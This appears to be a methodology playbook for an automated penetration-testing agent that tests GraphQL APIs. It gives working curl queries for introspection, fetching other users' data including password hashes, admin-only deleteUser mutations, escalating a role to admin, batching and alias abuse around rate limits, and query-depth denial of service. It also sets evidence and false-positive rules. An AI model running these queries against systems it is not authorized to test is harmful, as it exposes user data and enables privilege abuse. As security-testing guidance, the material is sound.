GraphQL API Security
Purpose
Comprehensive GraphQL API testing: schema intelligence, authorization bypass, resource consumption, and mutation abuse.
Preconditions
- A GraphQL endpoint has been identified (POST to /graphql or similar)
- At least one valid session (for authenticated queries)
Attack Surface Signals
- POST to /graphql, /query, /api/graphql, /v1/graphql
- JSON responses with
data/errorsstructure - Apollo/Relay/urql client libraries in JavaScript
Content-Type: application/jsonwithqueryin the body
Methodology
Endpoint Discovery
for path in graphql graphql/v1 api/graphql query gql; do
code=$(curl -sk -o /dev/null -w "%{http_code}" -X POST "https://TARGET/$path" \
-H "Content-Type: application/json" -d '{"query":"{__typename}"}')
[ "$code" = "200" ] && echo "[GRAPHQL] /$path"
done
Introspection (Reconnaissance, NOT a standalone vulnerability)
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name type{name}}}}}"}' | jq .
Introspection is attack-surface intelligence. Report it only when combined with a separately confirmed access-control or data-exposure issue. If introspection reveals admin-only types or mutation names, use them for BOLA/BFLA testing below.
BOLA (Object-Level Authorization)
# Query for another user's data by ID
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer USER_A_TOKEN" \
-d '{"query":"{user(id:\\"USER_B_ID\\"){email role passwordHash}}"}'
BFLA (Function-Level Authorization)
# Try admin-only mutations with a regular user token
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer USER_TOKEN" \
-d '{"query":"mutation{deleteUser(id:\\"123\\"){success}}"}'
Field-Level Authorization
# Request sensitive fields that may not be field-level protected
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer USER_TOKEN" \
-d '{"query":"{me{id email role ssn apiKey internalNotes deletedAt}}"}'
Query Depth / Complexity (Resource Consumption)
# Deeply nested query — generate with Python
python3 -c "
depth = 50
query = '{user{' + 'friends{' * depth + 'id' + '}}' * depth + '}}'
print(json.dumps({'query': query}))
"
IMPORTANT: Query depth alone is NOT a vulnerability. A finding requires demonstrating that the depth causes measurable resource impact (timeout, memory, denial of service to other users). Record the depth, the response time, and compare against the baseline.
Batching Abuse
# Send multiple queries in one request (bypasses per-request rate limiting)
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '[{"query":"{user(id:1){email}}"},{"query":"{user(id:2){email}}"},{"query":"{user(id:3){email}}"}]'
Alias Abuse
# Use aliases to query the same field many times in one request
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{a1:user(id:1){email} a2:user(id:2){email} a3:user(id:3){email}}"}'
Mutation Testing
# Test mutations for missing input validation
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation{updateUser(id:1,input:{role:\\"admin\\"}){id role}}"}'
Subscriptions / WebSocket
# Check for WebSocket-based subscriptions
# These may have different auth than HTTP queries
curl -sk -i -N -H "Connection: Upgrade" -H "Upgrade: websocket" \
"https://TARGET/graphql" --max-time 5
Error Message Intelligence
# Send malformed queries — errors reveal field names
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{nonexistentField}"}' | jq .errors
Evidence Contract
- BOLA: User A receives User B's actual data via GraphQL query
- BFLA: Low-privilege user executes an admin-only mutation successfully
- Field-level auth: Restricted field value is returned to unauthorized caller
- Resource consumption: Depth/batch query causes measurable service impact (timeout, error, other-user DoS)
- NOT evidence: Introspection enabled alone, query depth > N without impact, a field name in the schema
Common Misses
- GET vs POST GraphQL (GET requests may have different auth)
- Persisted queries (APQ) that bypass introspection restrictions
- GraphQL over WebSocket with different auth
- Content-type variants (application/graphql vs application/json)
- Subscription resolvers with weaker auth than queries
- Custom directives that may leak information
False Positives / Non-Findings
- Introspection enabled on a public API with no sensitive data
- Deep queries that execute fine with no measurable impact
- Field suggestions in error messages (recon, not a vuln)
- Batching that is properly rate-limited per operation
Xalgorix Tool Strategy
terminal_executewith curl for precise query construction- Python for generating deep/complex queries programmatically
authz_matrixfor cross-role GraphQL differential
Stopping Rule
Exhaust every type, field, and mutation discovered via introspection. Test read and write paths. Test batching and depth impact.
Handoff
Report each confirmed GraphQL issue with the query used, the authorization context, and the concrete unauthorized data/action.
